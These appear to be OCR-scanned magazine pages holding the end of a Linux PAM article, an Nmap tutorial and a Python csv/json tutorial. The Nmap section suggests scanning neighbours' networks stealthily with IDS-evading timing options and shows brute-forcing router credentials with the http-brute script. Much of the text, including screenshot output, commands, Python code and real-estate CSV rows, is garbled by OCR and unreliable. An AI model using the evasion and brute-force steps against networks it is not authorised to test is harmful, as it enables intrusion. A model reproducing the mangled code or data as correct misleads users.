This is convenient as when files are updated, the hash- 
es are also automatically updated when the package 
is properly updated (packages are signed by the ven- 
dor and therefore are considered trusted). Simply run 
the command rpm -qva in order to collect information on 
files including file hashes, permissions and more. Sim- 
ply keeping a running copy of this file and then period- 
ically checking it with a known good working copy can 
prove very useful. See http://docs.fedoraproject.org/en- 
US/Fedora_Draft_ Documentation/0.1/htmI/RPM_Guide/ 
ch04s04.html for more details. 


Conclusions 

PAM should be understood by any security professional 
who must work with Linux. This knowledge is invaluable for 
people trying to defend systems as well as people looking 
to exploit systems. For more information reading the infor- 
mation included in the /usr/share/doc/pam-* directory is a 
good start. For more in depth reading, Packt Publishing has 
an excellent cheap eBook called Pluggable Authentication 
Modules: The Definitive Guide to PAM for Linux SysAdmins 
and C Developers by Kenneth Geisshirt. 
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The Bread and Butter 


of IT Security 


Today we are going to talk about bread and butter of every 
IT security, networking and system professional — Nmap 
nework scanner. Initially Nmap was a Linux command-line 
tool created by Gordon “Fyodor” Lyon in 1997. Nowadays it 
is a great set of tools with extensible framework, providing 
opportunity to integrate it with external scripts. 


editions for Windows, Mac OS X, and most UNIX 

OS distributions available. You can get informa- 
tion about all features and distributions at the official 
www.Nmap.org website. 

Initial setup is quite straightforward. For Windows ma- 
chines in most cases, you just need to download the all-in- 
one installer, launch it as an administrator, leave all boxes 
checked by default and play click-click-next game. 

After the setup is completed, launch Nmap from the Ze- 
Nmap GUI shortcut. We will use new-school approach 
and show all examples in GUI. However, if you tend to 
stay classic, then you can launch command prompt and 
navigate to Nmap.exe directory. 


7 here is also a beautiful GUI called ZeNmap and 


Your very first scan 

If some Internet websites are available, then your default 
gateway is definitely up. Let us scan it! (Scanning localhost 
is not a good option as there are some peculiarities with 
Nmap/Windows tandem). Find out its address by typing 
ipconfig in command prompt and looking for default gateway 
value for appropriate interface. (As an alternative, you can 
use dummy scan target at scanme.Nmap.org). Input Nmap 
-~sV -T4 -O <default gateway IpP> in Command field and 
press Scan button. This is the output for my environment 
(Figure 1). Here you can see that my SOHO router: 
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¢ Is up and has some network ports open 

¢« Is in the same network subnet, therefore network dis- 
tance is 1 hop and | am able to get its MAC address 

¢ Has a web interface available on both TCP 80 and 
TCP 443 ports 

¢ Has a Samba file server included in workgroup called 
WORKGROUP 

¢ Supposed to run on Linux 2.6.X kernel 

¢ Supposed to have a Cisco/Linksys network interface 
based on MAC address and be E3200 router based 
on web interface version 


How does all of this magic happen? We will provide an 
overview while dropping some technical details this time. 


Target: ba. 158. 01.11 |) Profile Brat Te] 


Command | mmap -s¥ -T4 0 192 068.11 


Hosts Services Mimap Gutpul Ports Hest Topelegy | Host Deteds Scans 
C44 Her - eornap SY = TS of) 152 TET be Details 
1826.11 
Starting Meap 6.25 ( ptto:symeapoorg ) et DO3-05-00 12:47 Russian Standard Time 
Nmap tcan Pepore for Le. 1ne.1.1 
Host is up (6.008%$5 latency). 
Hot thowa: 976 cleded parka 
PORT SITATL SLAWEEL VWLES LOM 
BAtrp open http Linksys E3200 WAP http config 
1a4/ bop im i A tai 2.0 feork : RO 
443/ bop l/nttp Linksys C3200 HAF http config 
5/tep apen cibiose ian Sacha aalel 3.4% Ceorkproup: WAGE } 
BAL Sadress: SECO BP Sa SoBe (Cleee-Linksys } 
Davies i “AP 
Bunning; Lan 
OS CPE: ope linux: linux_e & 
ee ae a4 (Lim 
T noo 
Service Info: Get War 
OS amd Service ao len perfore|ed. Fle B 1 1 4.) o.o°E 
qubsses . 
Mego done: 1 fl bh } scanned in 16.62 d 


Figure 1. Scan results for my SOHO router 
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Scanning basics 

Normally every device connected to a network has some 
network ports open and is waiting for connections. Nmap 
with default scanning profile tries to initiate a connection 
to the 1000 most used ports (Figure 2). There could be six 
different types of ports states: 


* open — actively responds to an incoming connection 

¢ closed — actively responds to a probe but has no ser- 
vice running on the port, average behavior to hosts 
with no firewall 

¢ filtered — typically protected by a firewall 

¢ unfiltered — port can be accessed but no chance 
to determine whether open or closed 

¢ open|filtered and closed|filtered — Nmap is tentative 
between two states 


Please be aware that both network and security settings 
on target and transit infrastructure can strongly affect 
scan results. In this example, you can find much less de- 
tails available about services. This is due to dropping the 
-sv parameter, which is responsible for software ven- 
dor detection. With this parameter enabled Nmap ana- 
lyzes service welcome messages, takes a “fingerprint” 
of the host and service behavior and compares them 
with the existing fingerprint database. The database can 
be updated at http://insecure.org/cgi-bin/submit.cgi. |n 
addition, be aware that sometimes system administra- 
tors try to obfuscate against attackers. For example, this 
can be done by providing wrong software versions and/ 
or product names on welcome banners. Therefore, trust 
no one. Especially the results of a single scan. 


OS detection 

Nmap is able to perform not only service’s version detec- 
tion, but also OS version detection by adding the -o argu- 
ment. This is done by a technique called TCP/IP fingerprint- 
ing which is a great achievement of the Nmap team. Nmap 
sends a few specially crafted TCP, UDP and ICMP pack- 


Target: | 192. 168.1.1 “Profile: wi} |Scan) = Cance 


Command: | nmap 192,168.1.1 


O05 4 Host = 
)  192.168.1.1 


Nmap Output | Ports / Hosts Topology) Host Details | Scans 


rurenapy 147.168.1.1 sd Detar. 


Starting Nmap 6.25 € https snmap.org 9) al 2135-85-83 145-51 
Russian Standard Time 

Nmap scan report for 192.168.1.1 

ost is up (@.017s latency). 

Mot shown: Y9b closed ports 

PORT STATE SERVICE 

SB/tcp open http 

1349/trp open nethdos-son 

443 tcp open https 

445/tcp open microsoft-ds 

BAC Address; 58:60:07 :51:5D:89 ((Cisco-Linksys) 


Nmap done: 2 TP olde (1 bert op) scared in 1.99 secrnls 


Figure 2. Scanning my SOHO router with default parameters 
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ets to the target. On different OS versions these packets 
are handled in different ways. Later, Nmap analyzes the 
responses from the target and compares them with existing 
ones in the OS fingerprint database. 


Staying uncovered 

lf you are bored enough with experiments on your de- 
fault gateway, then it is time to move to others’ networks 
or scan your neighbors. Both of these activities are not 
very polite and legal, so you shall soend some efforts on 
staying stealthy. If you are going for more sophisticated 
scan types and scanning a lot of ports in a small amount 
of time, then there is a likely chance that you will trigger 
some signatures on an IDS or meet some threshold in 
a SIEM system. My advice is to use timing templates in- 
stead of manually tuning tons of parameters. Moreover, 
they are all named in a human-friendly manner: 


¢ T0-— paranoid 

¢ 1T1—-—sneaky 

¢ 1T2- polite 

¢ 1T3—normal (default) 
¢  T4—- aggressive 

¢ T5—insane 


TO and T1 are generally used for IDS evasion, T4 on fast 
channels and T5 in the occasions when you are com- 
fortable with inaccurate scanning results. Another great 
idea is using the least amount of additional scan types 
as possible. However, if you are going to be totally impo- 
lite and lazy enough to type parameters in command-line 
you can simply go for -a parameter (aggressive), which 
includes -sc, -sv, -o and -traceroute. Be also aware 
about the existence of honeypots, which are vulnerable 
hosts, intentionally set up by infrastructure administra- 
tors to log all penetration attempts. 


Scanning networks and groups of hosts 

Network scanners are normally used by attackers to find 
an appropriate target and by administrators to find new 
and existing network hosts. Both of these tasks require 
scanning a significant amount of addresses. This can be 
done by adding the following arguments to the command- 
line or adding them to Target field: 


¢ Nmap 1.1.1.1 2.2.2.2 3.3.3.3 — scan three IP addresses 
¢ Nmap 10.1.1.1-250 — range of IP addresses 
¢ Nmap 10.1.1.0/24 — scan subnet 


You can also accomplish more complex scenarios such as 
taking a list of targets from a text document, excluding some 
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targets from the range or even scanning random targets. 
Scan results can be saved for future retention, transformed 
by using NSE (network scripting engine) or used by some 
external systems like a SIEM or GRC engine. Thanks to 
a great GUI and the -traceroute parameter, we are also 
able to build a network overview. Here is the example of 
scanning the scanme.Nmap.org host subnet (Figure 3). 
Results can easily be saved by pressing the Save graphic 
button. Please take into consideration that by default Nmap 
relies on ICMP replies to check whether targets are alive. De- 
pending on the target environment, sometimes it is better to 
rely on other discovery options such as IP ping, UDP ping or 
scanning every IP address even if there is no evidence of life. 


Defining the scope of ports to be scanned 
lf you are not comfortable with the 1000 ports scanned by 
default, we can easily limit the scan with the help of the 


following parameters: 


¢ -F—scanning 100 most used ports instead of 1000 

* --top ports [number of ports| — to scan top [num- 
ber] most common ports 

* -p [number] — SCan specific ports i.e. -p 80,443 or — 
p440-450 

°  -p [name] —I.e. -p https 

¢ -p * —for scanning all ports in 1 to 65535 range 

* -p U:[UDP ports],T:[TCP ports] — to scan both TCP 


and UDP custom ports 
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Figure 3. Example of network map built after scanning Internet host 
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Command: | nmap -p 80 -v --sonpt http-brute --senpt-angs brute firstonty 192,168.11 


| Haste | Services Nmap Output | Ports / Hosts | Topolegy) Host Details | Scams 
05 4@ Host nmap -p 80 -v +-sempt http-brute --sernpt-args brutefirstonly 192.162.1.1 " Detacls 
ff  i85-217.menmber:.| 
ww 1i96-21 " Starting Mnap 6.25 ({ http: //nmap.org ) at 2813-05-03 16:59 Russian 
liS6-21S.members.| Standard Time 
@  logicrnerc.com (74. ME: Loaded 1 scripts for scanning. 
WSE: Script Pre-ccanning. 
@ scanme.nmap.org! | Initiating ARP Ping Scan at 16:55 
7 mii Us. 16H. 1.17 1 t 
@  192.1881.1 ee a2 Pore) nei _ 
Completed ARP Ping Scan at 17:08, @.38¢ elapsed (1 total hosts) 


Initiating Parallel ONS resolution of 1 host. at 17:88 

Completed Parallel ONS resolution of 1 host. of 17:68, 8.835 elapsed 
Initiating SYN Stealth Stan at 1? seg 

Scanning 192.168.1.1 [1 port] 

Discovered open port 88/tcp on 1923 .168.1.4 

Campléeted SYN Stealth Sfan at 17:80, @.8845 elapsed (1 total ports) 
MSE: Script scanning 192.268.1.1. 

Initiating NSE at 17-86 

Completed WSE at 17-68, 8.515 elapsed 

Nmap Sc0N report ter 192.168.1.1 

Hest is up (0.60195 Latency). 

PORT STATE SERVICE 

dftep apcn http 

| nttp-brute: 


A vhs 

| _-ninin:adin - Veli credentiats 
| Statistics 

| 


Performed 14 guesses in 1 seconds, average tpa: 14 


HAC Address; SA:G0:8F:51:50:89 (Cisco-Linksys) 


MSE: Script Post-scanning. 

Reod dato files from: ¢:\Program Files (x86) \Nmap 

Nmap done; 2 GP address (1 host up) scanned in 7.277 secands 
Raw packets sent: 2 (728) | Rewd: 2 (728) 


Figure 4. Output after successfully brute forcing my SOHO router web 
interface password 


¢ -r—to make port scans sequential (by default Nmap 
scans port randomly and then sorts them in output) 


Giving a try to NSE 

There are numerous features available in the product 
such as firewall evasion techniques, source address and 
port spoofing, setting flag values on both IP and trans- 
port level and many more. However, it is time to give a try 
to NSE bruteforce scenario and leave you on your own. 
First, let us change credentials to access my router to 
childish admin:admin. Then let us launch nmap with the 


following parameters: 


fittep: =p. 30 7 =—Script. ACip-brute: =<seript—arges brite. 
Hipetonly 192.160.1.1 


Where --script http-brute includes NSE http-brute li- 
brary and --script-args brute.firstonly makes script to 
stop its run after first successful attempts: Figure 4. 

Here we go — credentials were found out and displayed. 
In scenarios that are more complex, you are able to use 
custom login and password databases and write your own 
extensions in LUA language. That is all. Hope you liked 
this how-to article. 


Andrey is experienced IT security professional with 
8 years of field experience and solid bunch of pro- 
fessional-level certificates. Currently he is em- 
ployed by Microsoft and you can easily reach him 
via linkedin.com/in/andreymoskvitin/. 
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Python Programming: 


The csv and json 
Python Module 


Files are a big part of programming. We use them for a lot 
of things. HTML files have to be loaded when serving a web 
page. Some applications export files in some formats that 
we need to read in other applications or even we want to 
be the ones doing the exporting. In this article, we will learn 
some concepts to help us understand how to use files and 
also some advanced ways of making use of them. 


in Python. The name Duck Typing comes from 

the expression “If it walks like a duck, swims like 
a duck and quacks like a duck, it is a duck’. In program- 
ming languages this means that if an object is not of the 
type you desire but has the same methods then it must do 
the same thing. To understand this concept more in depth, 
we'll be using Python’s built-in StringlO object. 

StringlO is a file-like object that does not save files. 
This is very useful, for example, when you download a file 
from a web service but don’t need to store it. We can put 
the file in a StringlO object and it will behave exactly like 
an actual file (because StringlO has the same methods 
as file objects). Contrary to file objects, StringlO will only 
save the file’s contents to memory and not to disk (making 
it very fast when compared to actual files), with the down- 
side that they are temporary (which in some situations is 
exactly what we need). 

When initialising a file, you always need to provide 2 ar- 
guments: a file path and a opening mode (the most used 
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modes are ,r’ and ,w for reading and writing respectively). 
With a StringlO we only need to instantiate one without any 
arguments to get an empty file. If you want to initialise it with 
content just pass a string as the first argument. For exam- 
ple, if we want to store the contents of https://qgoogle.com/ 
temporarily in memory to do something with it, we could do: 


S$ response = request.get (“https://google.com/”) 


9 google content = StringIO(response.content) 


From now on the variable ‘google_content will behave 
like a file and can be passed to any library or package 
that expects a file. This is all due to duck-typing. 


Opening and reading from files 

Let's practice opening and reading files. In this section I'll 
try to show some quirks about opening files like “Universal 
newline” and such. First thing we need is a file. We can 
create a new empty file on disk by doing: 
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S £ = open(‘/home/path/to/file/file.txt’, ‘w’) 


The mode ‘w’ indicates that we are opening the file for 
writing and if no file exists with the name and path pro- 
vided, one will be created. Note that if there is a file with 
the same name as the one you are trying to edit, it will 
be erased. If you want to append information to an exist- 
ing file, use the ‘a’ mode. Try it. 

When you are done reading the data from the files, 
you should close the file by calling: 


S £.close() 


This will release the file and free up any system resourc- 
es used by the opening of your file. 

As of Python 2.5, a new statement was introduced to 
simplify this process: the with statement. This statement 
clarifies some code that previously would use try/finally 
blocks, so that it can be written in a more pythonic way. 
Using this, you can open a file and when you no longer 
use it, the file will be properly closed, even if some excep- 
tions are raised along the way, and the system resources 
will be freed. Here’s an example of the proper opening of 
a file: 


with open(‘workfile’, ‘r’) as f: 


read data = T.read{) 


CSV files and csvreader 

Files can have many formats. One of the most common 
is CSV (comma separated values but you can also see 
TSV for tab separated values). The format of these files is 
very simple. The first row is either a comma separated val- 
ues of headers or directly data. The file we use is a CSV 
file. If you open the file, you can see that there is a header 
in the first line and the rest of the data follows. 


Read 

To read a CSV file, you need to use the CSV python mod- 
ule, therefore, it needs to be imported before you can use 
it (import csv). After that, and with an opened file, you can 
use the reader from the CSV module to create a reader, 
which can iterate over all the lines in the CSV file. Take 
a look at this example: 


>>> IMPOrt -CSv 
>>> with open(,csvfile.csv’, ,rU’) as f: 
reader = csv.reader(f, delimiter=’,’, 
dialect=’ excel’) 
for row in reader: 


print row 


www.bsdmag.org 


[petReers Clty» 421’, ystate’ ;  ,0eds', ,Declis’; 7S0 10"; 
ytype’ 7 gsale date’, .price’, ,latitude’, ,longitude’ | 

[,3526 HIGH ST’, ,SACRAMENTO’, ,95838’, ,CA’, ,2', ,1', 
,836', ,Residential’, ,Wed May 21 00:00:00 EDT 2008’, 
pooeee 7 goes O5 lle’ y gH-121s4s457 9 | 

[,51 OMAHA CT’, ,SACRAMENTO’, ,95823’, ,CA’, ,3', ,l’, 
,1167’, ,Residential’, ,Wed May 21 00:00:00 EDT 2008’, 
pOS82Z12" > 7 38<478902" , 9-121, 4381028" |] 

[,2796 BRANCH ST’, ,SACRAMENTO’, ,95815’, ,CA’, ,2', ,l', 
,/96', ,Residential’, ,Wed May 21 00:00:00 EDT 2008’, 
gOSsel” > » 2b .GlbI0e", gl 212445639" | 

[,2805 JANETTE WAY’, ,SACRAMENTO’, ,95815’, ,CA’, ,2', 
,l’, ,852', ,Residential’, ,Wed May 21 00:00:00 EDT 
2008" pCO sll @ poteOlLOsso', 7 = 1212429146") 


In this example, you can see that we open the sample 
file using the with statement, and we use the opened 
file in the reader function. The reader function receives 
some useful args, aS you can see above. The delimiter 
defines the column separator, in this case a comma. The 
dialect argument identifies a specific dialect (in this case 
the excel), and loads a set of parameters specific to this 
particular dialect. You can get the list of all registered di- 
alects using this command: 


Poo Cove llet dialects) 
[,excel-tab’, ,excel’] 

There are a number of extra arguments that you can 
pass the reader function, that you can check out in the 
CSV module page. 

Once you have the row object, you can access each 
column by index (row[0]) or you can use the row’s iterator 
to your advantage and traverse the row’s columns in a for 
cycle for example. 


Write 

Writing data to a CSV file is fairly similar to reading data. 
You have a writer instead of a reader and you send the 
rows to the writer and close the file in the end. It’s as sim- 
ple as that: 


o> AMPOTT Csv 
>>> with open(,newfile.csv’, ,wb’) as csvfile: 
writer = csv.writer(csvfile, delimiter=’ ,, 
quotechar=’ |’, quoting=csv. 
QUOTE MINIMAL) 
Spamwriter.writerow([,Spam’, ,Lovely Spam’, 


,Wonderful Spam’ J) 
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Looking at the example, we can see that it’s similar in 
many aspects to the reader, including the delimiter, and 
other arguments. The delimiter was already explained 
in the reader. As for the others, the quotechar is a one- 
character string used to quote fields containing special 
characters, such as the delimiter or quotechar, or which 
contain new-line characters. It defaults to ‘ “ “. The quot- 
ing argument controls when the quotes are added, in this 
case, or when they should be read, when we are talking 
about the reader. As mentioned above, more arguments 
exist and can be used, so you should consider taking a 
look at the module documentation. 


Simplejson 

JSON is a human readable data format that became pop- 
ular in web development as an alternative to XML. It is 
mostly used to transmit data between client and server, 
but can also be used to store data. Python has a library to 
parse json data into Python data structures: 


>>> import json 


So, why do we need JSON? There are other ways to 
store and load data in Python: Pickle for example. Pickle 
allows the serialization and unserialization of data in py- 
thon. As | said in the last sentence, the “in python’ part 
is very important. This data is only readable by Python, 
so it is not of much use for other system integrations... 
JSON in the other hand has gradually become one of 
the main information transmission formats, mainly in the 
web environment, but in many other contexts. 


Generate JSON data from python 

In order to generate a JSON data structure directly from 
python, we only need python’s default json module and 
the data structure we need to convert: 


7? AmMport: 1 s0n 

Pee Gata = {4,three’s 3, sive’? [ly 2, 3, 4% Sly 
,one’: 1} 

>>> json.dumps (data) 

qpuve”: [l, 2; 3, 4, 3S), ,three”: 3, 


7+ One © aby frwo"s 2" 


It’s as simple as that! You are using Python after all... 
Parse JSON data with python 
As you are probably guessing right now, reading JSON 


data into Python is also extremely simple: 


2>> import 7s0n 


eee Jeon Gate: = ¢iyone’ : ly gives [ly u2Zy oy Sy OS], 
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wearee”’? 3, ,~cwo"e 2)" 

>>> json.loads(json_ data) 

(i rve’s [ly 2 Sp 4, oly UW three’? 3, Utwo"t 2. uone’* 1 
As you can see, working with JSON is extremely simple 
in Python. 


Practical exercise 

Now let's try a bigger project. In this example we need 
to get some sample data. What we are looking for is a 
file with sentences (one per line). Fortunately there’s one 
here. As you can see, the file is a CSV file, so we already 
know how to process one, right? 


Read file with a sentence per line 
Ok, let's start by reading the file, one sentence per line 
and store it in a list to be processed later: 


2>> IMport csv 
>>> data = [] 
>>> with open(,data ftile.csv’, ;rU") as £: 
reader = csv.reader(f, delimiter=’,’, 
dialect=’ excel’) 
for line in reader: 


data.append (line) 


>>> data[:10] 

[Ll pStreet’, -City’,» »Zi0'; ,scate’, ,beds”, ;baths’, 

,oq tt", ;type’; ;Ssale-date’, ,price’; ,latitude’; 
,longitude’], [,3526 HIGH ST’, ,SACRAMENTO’, ,95838’, 

pCR y 42’ 9 vi’ ¢ 830» oResidential’, ,Wea May zl. 0020000 
HDT 2006" » ~59222"% 7388031915", ~=-121.434070" |, 1,51 

OMAHA CT’, ,SACRAMENTO’, ,95823’, ,CA’, ,3', ,1', ,1167', 
,Residential’, ,Wed May 21 00:00:00 EDT 2008’, ,68212’, 
,30.478902', ,-121.431028'], [,2796 BRANCH ST’, ,SACRAMENTO’, 
,99815', ,CA’, ,2', ,1', ,796’, ,Residential’, ,Wed May 21 
OO0s0000 EDT 2008" ,. 768880", ~38,618305", ga-121. 443630" |, 
[,2805 JANETTE WAY’, ,SACRAMENTO’, ,95815’, ,CA’, ,2', 

,l’, ,8592', ,Residential’, ,Wed May 21 00:00:00 EDT 2008’, 

, 09301? ¢ 438% 016835"% .,-121,.439146" jy [76001 MCMAHON: DR’, 

, SACRAMENTO’, ,95824', ,CA’, ,2', ,1', ,797"', ,Residential’, 
,Wed May 21 00:00:00 EDT 2008’, ,81900"’, ,38.51947', 
,7121.435768'], [,5828 PEPPERMILL CT’, ,SACRAMENTO’, ,95841’, 
pCR’ » 73% «i> yll22', ,Conde’, ,Wed May 21.00¢00:00 EDT 
2008", ,~, 89921") 2£982602595'» ,-14L,327813" 1, |,60438: OGDEN 
NASH WAY’, ,SACRAMENTO’, ,95842', ,CA’, ,3', ,2', ,1104', 
,Residential’, ,Wed May 21 00:00:00 EDT 2008’, ,90895’, 
,30.681659", 4-121.3517/05' |, [,2561 19TH AVE’, ,SACRAMENTO’, 
, 90820", ,CA’, 93%, 91’, ,il77’, ,;Residential’, ,Wed May 21 
O0700s00 BDT 2008", ,9L002’, »36.535092", 7ql271. 481367" |; 
[,11150 TRINITY RIVER DR Unit 114’, ,RANCHO CORDOVA’, 
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, BIGT’ »- CR». 72’ > 7277 7241, Condo’, , »Wed May 21 00200200 
EDT 2006", ~ 94905", 736.621136", ,;=l2z1.2/0535" |] 
PPP 


Now that we have the data in a list, we can process 
it any way we like. Let’s move on to the next section so 
that we can manipulate each row and gather some da- 
ta from it. 


Manipulate and gather metrics on each sentence 

lf you had the curiosity to observe the file contents before 
processing it, you found that in the file header we have the 
column names of the file data: 


Sstrest;, City, Zip, State, beds, baths, sq ft, type, sale 
date, price, latitude, longitude 


Now, let’s separate the transactions by city and by type 
so that we can find out how many real estate properties 
of each type exist in each city. 

lf we think about it for a bit, we have to separate the data 
by city and, for each one, separate the data by type: 


example = { 
Norey 1" 4 
‘type 1’: [propertyl, property2, property3], 
‘type 2’: [propertyl0, property22, propertyl2], 
by 
“Clty. 2's 4 
‘type 1’: [property5, property7, property8] 


by 


This is an example of a data structure that can handle 
our data, you can think of other ways to store the data, as 
long as you can get the statistical data requested above. 

So let’s see how can we process the data in order to 
generate this structure: 


>>> processed = {} 
>>> for row in data: 
city = row[1] 
type = row[7] 
if processed.has key(city): 
precity = processed [city] 
pr type = pr. city.¢get (type; (J) 
pr_type.append (row) 
processed[city] [type] = pr type 
else: 


processed[city] = {type: [row] } 
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>>> processed[,ANTELOPE’ ] 
{,Residential’: 
,99843', ,CA’, ,3', ,2', ,1088"', ,Residential’, ,Wed May 21 
JOSOUs00 EDT 2008", , 120640", ~,36. 7/0914", p,RlZicsiarr’ ly 
[,5708 RIDGEPOINT DR’, ,ANTELOPE’, ,95843’, ,CA’, ,2', 

,2', ,1043’, ,Residential’, ,Wed May 21 00:00:00 EDT 2008’, 
,LOL250';, 7398. /2027", ,~=121.351555! |], [,4844 CLYDEBANK 
WAY" ;. ,ANTELOPE” ,» 595043’, , CA’, 72° 7 ¢2'» ~i2l5"; 
,Residential’, ,Wed May 21 00:00:00 EDT 2008’, ,182716’, 
,38.714609', ,-121.347887'], [,7895 CABER WAY’, ,ANTELOPE’, 
pI0843"» 7SA’ 7 73" «2' x g 1362", ~ReSidential’, ,Wed May 21 
UOs00200 EDT 2008") , 194310" 5 Ses LIZ, gale). 5934497 |; 
[, 7837 ABBINGTON WAY’, ,ANTELOPE’, ,95843’, ,CA’, ,4', ,2', 
,1830’, ,Residential’, ,Wed May 21 00:00:00 EDT 2008’, 
good ok yp 502096 I 7 eR Zl. 3304i2" |, [po225 BAGGAN Cl’; 
pONTRWOPE » ~~ 959003" > 9 CA’ ¢ 93% 72 ¢ ~ loo? » p~RESiLCential’, 
,lue May 20 00:00:00 BDT 2008", ,165000", ,38.715346', 
priZl vec los" ly 
po0043* » pCAly 72’ «2 ¢ > lLOCT’ >» ;Resicdential’, ,Tue May 20 
00200200 EDT 200", ,1e0000", ~36. 710880", 4-lZ1.358870" |, 
[,4437 MITCHUM CT’, ,ANTELOPE’, ,95843’, ,CA’, ,3', ,2', 
,1393', ,Residential’, ,Tue May 20 00:00:00 EDT 2008’, 
,200000', ,38.704407', ,-121.36113’], [,5312 MARBURY WAY’, 
pONTEGOPE? y 7 959843" 7. gh ¢ # So « oe) @ plo? > ~Resicential’, 
,lue May 20 00:00:00 EDT? 2008", ,255000", 38. /10221", 

pal Zigoo Gal | 5 
,GA’, gol, ~2', 71 56l’, ;Residential’, ,Tue May 20 00:00:00 
EDT 2008", ,261000", ,38./053849', ,-121.334701' |, [,8108 
FILIFERA WAY’, ,ANTELOPE’, ,95843’, ,CA’, ,4', ,3', 

,1768’, ,Residential’, ,Tue May 20 00:00:00 EDT 2008’, 
peoo000'¢ 738. I1/042",; 7=121.59463" |, [,3318° DAVIDSON: DR’; 
,ONTBUOPE » ~ 95043" > ,»CA’y +3’ ol» 9988" ~ Residential’, 
jMon May 19: OUs00s00 BEDE 2008» ¢2Z3130", 7384105153" , 
pul 2See gly” |, 
,CA’, ,4', ,3', ,2026", ,Residential’, ,Mon May 19 00:00:00 
EDT 2006". ~231 200", 730s (2206's plz. 5538050" |], ‘(872k 
SPRUCE RIDGE WAY’, ,ANTELOPE’, ,95843’, ,CA’, ,3', ,2', 
,1187’, ,Residential’, ,Mon May 19 00:00:00 EDT 2008’, 
pose"; oes 21651" »- ¢- 1215591028" |, [43305 RIO ROCA. CI", 
jPNTELOPE’ » 795845" ¢ , CA’, 94° % 7o’ ¢ 72002 » 7 Bes1cential’y 
,Mon May 19 0000300 BDT 2008", 7239700", »38.IZ5079", 

p71 21638 1693" ly 
yCR yy. G2’ e ye’ n i 8o0", ~Residential’, ;Mon May 19 00:00:00 
BODE 2000", ~eseli2" > goon L071, g-lzl.d41 107" |, Iga 
PISMO BEACH DR’, ,ANTELOPE’, ,95843’, ,CA’, ,5', ,3', 
,2346’, ,Residential’, ,Mon May 19 00:00:00 EDT 2008’, 
poeNOO0? -. goeu 1 0710S" » poll .5541353" ly. |[,274L PACIFIC 

PARK DR’, ,ANTELOPE’, ,95843’, ,CA’, ,5', ,3", ,2347', 
,Residential’, ,Mon May 19 00:00:00 EDT 2008’, ,325000’, 
,38.109299", ,-121.353056' |], [,3361 ALDER CANYON WAY’, 
,PNTEDOPE’ »; _~95043" > ;CA’, 74°) 73", 72065 » jResidential’, 


BSD |, 


[[,3828 BLACKFOOT WAY’, ,ANTELOPE’, 


[, /863 CRESTLEIGH CT’, ,ANTELOPE’, 


[,5712 MELBURY CIR’, , ANTELOPE’, ,95843’, 


[,4508 OLD DAIRY DR’, ,ANTELOPE’, ,95843’, 


[, 5308 MARBURY WAY’, , ANTELOPE’, ,95843’, 
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,Mon May 19 00:00:00 EDT 2008", ,408431', ,;38./2/649', 
,-121.385656'], [,3536 SUN MAIDEN WAY’, ,ANTELOPE’, 
,99843', ,CA’, ,3', ,2', ,1711', ,Residential’, ,Fri May 16 
00S00700 EDT 20087 » ,~161500", 38. 70900", --121.382528" Jy 
[,4008 GREY LIVERY WAY’, ,ANTELOPE’, ,95843’, ,CA’, ,3', 
,2', ,1669', ,Residential’, ,Fri May 16 00:00:00 EDT 2008’, 
pl Oe 150" 7 goes tl LBte?) yalZlesl0ee2" | [¢ S87 lo LONGSEUR. WAY’, 
,ANTELOPE’, ,95843’, ,CA’, ,3', ,2', ,1479', ,Residential’, 
pPti: May 16 00700300 EDT 2008", »205000",. 738724083", 
,-121.3584'], [,7901 GAZELLE TRAIL WAY’, ,ANTELOPE’, 
pI5643", ~CAl> »4 « 72", - 1993") ~Residential’, Fri May 16 
00:00:00 EDT 20087, ,207/44", ,38.71174", »,=121.342675" |, 
[,4085 COUNTRY DR’, ,ANTELOPE’, ,95843’, ,CA’, ,4', ,3', 
,1915’, ,Residential’, ,Fri May 16 00:00:00 EDT 2008’, 
,240000" > 733. 100209", »,-121.369509" |, [, 8316 NORTHAM DR’, 
pONIRLORE” » - 25080" » yOR y oo es yey ple @ -Resicentcie!’, 
jeri May 16 00200700 EDP 2008", ,240544", ,738./Z2016!", 
,7121.376678'], [,4240 WINJE DR’, ,ANTELOPE’, ,95843', 
,CA’, ,4', ,2', ,2504', ,Residential’, ,Fri May 16 00:00:00 
EDT 2000" » »246150"» 736. /0884">, ~=-1214359559" |, |,4636 
TEAL BAY CT’, ,ANTELOPE’, ,95843’, ,CA’, ,4', ,2', ,2160', 
,Residential’, ,Fri May 16 00:00:00 EDT 2008’, ,290000’, 
,38.704554", ,-121.354753'], [,7921 DOE TRAIL WAY’, 
,ONTELOPE’ » , 95843" » -,CA’,~3' « 7-3" > ole - ;Residential’, 
pra May Po 00:00:00 EDT 2006", ,315000", ,382711927", 
,7121.343608'], [,4509 WINJE DR’, ,ANTELOPE’, ,95843', 
pCR"; 43 y 72% » 2960" > -Residential’, ,Fri, May 16. U0<00200 
EDT 2008", ¢350000", 7 38..7/09513", ,~-121.359357" |, [,2604 
KODIAK WAY", ,ANTELOPE’., » 95043", ,CA’ pp »S" > 72’ x 7 lL 200"; 
,Residential’, ,Thu May 15 00:00:00 EDT 2008’, ,142000’, 
pooutIUOL TS, g=lZ1.319T16" Je 1, 8036 LONGSPUR WAY’, 
,ANTELOPE’, ,95043", ,CA » ¢3' » 72 7 ~loi0"» ;Residential’ , 
, liu May 15 O0200¢00 EDT 2006!» g15/2960" 7 438< 125813"; 
,7121.35856'’], [,8428 MISTY PASS WAY’, ,ANTELOPE’, ,95843', 
pOR! ¢ po « g 2’? gio?’ ;. Residential’, ,Thu May 1500700700 
BDE 20067» 9212000" +. 73851229590» ¢=121.547115"]1,. -conde”’ : 
[[,8020 WALERGA RD’, ,ANTELOPE’, ,95843’, ,CA’, ,2', ,2', 
yOo0' 7, #COndO’;, «Mon: May 19 ‘00200200 EDT 2008", 7115000", 
pooe tT Lol’, g=121. 364458" 113 


Now we have the data in the format that we want, but it 
is still not very readable. Let’s make a function to pretty 
print the data in a more human way: 


>>> def pretty print data(data): 
for city in data: 
PLINne ,~Cicy: “2S” @ 1Cley,;) 
for type in data[city]: 
Drank, } Type: *s - Sd” % (type, 


len (data[city] [type] )) 
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Now, let's try it and see some sample output: 


-e> pretty print data (processed) 
City: ORANGEVALE 

Type: Residential - 11 
City: CITRUS. HEIGHTS 

Type: Residential - 32 

Type: Condo - 2 

Type: Multi-Family - 1 
City: SACRAMENTO 

Type: Residential - 402 

Type: Conde = 27] 

Type: Multi-Family - 10 


Output a file with the metrics obtained 

We now have the statistical data. But what can we do with 
it? Let’s save it in a file, using the JSON format, so that it 
can be passed to other applications: 


>>> import json 
>>> with open(,statistics.json’, ,whb’) as f: 
json data = json.dumps (processed) 


f.write(json data) 
PP? 
